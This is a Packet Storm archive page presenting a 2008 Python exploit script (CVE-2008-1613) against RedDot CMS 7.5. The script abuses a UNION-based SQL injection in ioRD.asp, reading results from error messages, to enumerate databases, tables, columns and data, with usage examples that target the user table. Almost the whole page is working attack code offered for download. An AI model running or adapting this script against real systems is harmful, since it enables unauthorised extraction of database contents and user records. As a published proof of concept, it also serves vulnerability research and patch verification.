exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

RDdbenum.py.txt

RDdbenum.py.txt
Posted Apr 21, 2008
Authored by Rodrigo Marcos, Mark Crowther | Site irmplc.com

RedDot CMS versions 7.5 Build 7.5.0.48 and below full database enumeration exploit that takes advantage of a remote SQL injection vulnerability in ioRD.asp.

tags | exploit, remote, sql injection, asp
advisories | CVE-2008-1613
SHA-256 | 3425a7a46022a1d5c00c940d64eb2be9302b2e7ef356f8e16b7bbc1869f47731

RDdbenum.py.txt

Change Mirror Download
#!/usr/bin/env python

# un-comment your selection.

import urllib2
import urllib
import string
import getopt
import sys

def banner():
print
print "RED DOT CMS 7.5 database enumeration"
print "by Mark Crowther and Rodrigo Marcos"

def usage():
print
print "usage():"
print "python RD_POC.py [options] URL"
print
print " [options]"
print " --dbenum: Database enumeration"
print " --tableenum: Table enumeration, use -d to specify database"
print " --colenum: Column enumeration, use -d to specify database and -t to specify table"
print " --dataenum: Data enumeration, use -d to specify database, -t to specify table and -c to specify a column"
print " -d: Specify a database"
print " -t: Specify a table"
print " -c: Specify a column"
print " -h: Help page"
print
print "Examples: "
print " python RD_POC.py --dbenum http://myhost/cms/"
print " python RD_POC.py --tableenum -d IoAdministration http://myhost/cms/"
print " python RD_POC.py --colenum -d IoAdministration -t IO_USR http://myhost/cms/"
print " python RD_POC.py --dataenum -d IoAdministration -t IO_USR -c USR2 http://myhost/cms/"
print
sys.exit()

def retrievedata(url1, url2 = "' ORDER BY 1;-- &DisableAutoLogin=1"):
stop = 0

current = ''

while (stop==0):

request = url1 + current + url2

request = string.replace(request, ' ', '%20')
req = urllib2.Request(request)
try:
r = urllib2.urlopen(req)
except urllib2.URLError, msg:
print "[+] Error: Error requesting URL (%s)" % msg
result = r.read()

#print result
if string.find(result, ' Description Conversion failed when converting the ') == -1:
stop = 1
else:
start = string.find(result, "'") + 1
end = string.find(result[start:], "'") + start
current = result[start:end]
print current


def dbenum():

retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT min(name) FROM SYS.SYSDATABASES where name> '")

def tableenum(database=''):

if database=='':
retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT min(name) FROM SYSOBJECTS where xtype=char(85) and name> '")

else:
retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT min(name) FROM " + database + "..SYSOBJECTS where xtype=char(85) and name> '")

def colenum(table, database=''):

if table=='':
usage()

if database=='':
retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT min(name) FROM SYSCOLUMNS where name > '", "' AND id = (SELECT id from SYSOBJECTS WHERE name= '" + table + "') ORDER BY 1;-- &DisableAutoLogin=1")
else:
retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT min(name) FROM " + database + "..SYSCOLUMNS where name > '","' AND id = (SELECT id from " + database + "..SYSOBJECTS WHERE name= '" + table + "') ORDER BY 1;-- &DisableAutoLogin=1")


def dataenum(column, table, database=''):

if column=='' or table=='':
usage()

if database=='':
retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT MIN(" + column + ") FROM " + table + " WHERE " + column + "> '")

else:
retrievedata(url + "/ioRD.asp?Action=ShowMessage&LngId=ENG.DGC0 FROM IO_DGC_ENG UNION SELECT MIN(" + column + ") FROM " + database + ".." + table + " WHERE " + column + "> '")


banner()
pdbenum = 0
ptableenum = 0
pcolenum = 0
pdataenum = 0
database = ''
table = ''
column = ''

url = sys.argv[len(sys.argv)-1]

try:
opts, args = getopt.getopt(sys.argv[1:], "d:t:c:h:", ["help", "dbenum", "tableenum", "colenum", "dataenum"])
except getopt.GetoptError:
usage()

try:
for o, a in opts:
if o in ("-h", "--help"):
usage()
if o == "--dbenum":
pdbenum = 1
if o == "--tableenum":
ptableenum = 1
if o == "--colenum":
pcolenum = 1
if o == "--dataenum":
pdataenum = 1
if o == "-d":
database = a
if o == "-t":
table = a
if o == "-c":
column = a
except:
usage()


if pdbenum == 1:
print 'Enumerating databases:'
dbenum()
elif ptableenum == 1:
print 'Enumerating tables:'
tableenum(database)
elif pcolenum == 1:
print 'Enumerating columns:'
colenum(table, database)
elif pdataenum == 1:
print 'Enumerating data:'
dataenum(column, table, database)
else:
usage()














Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close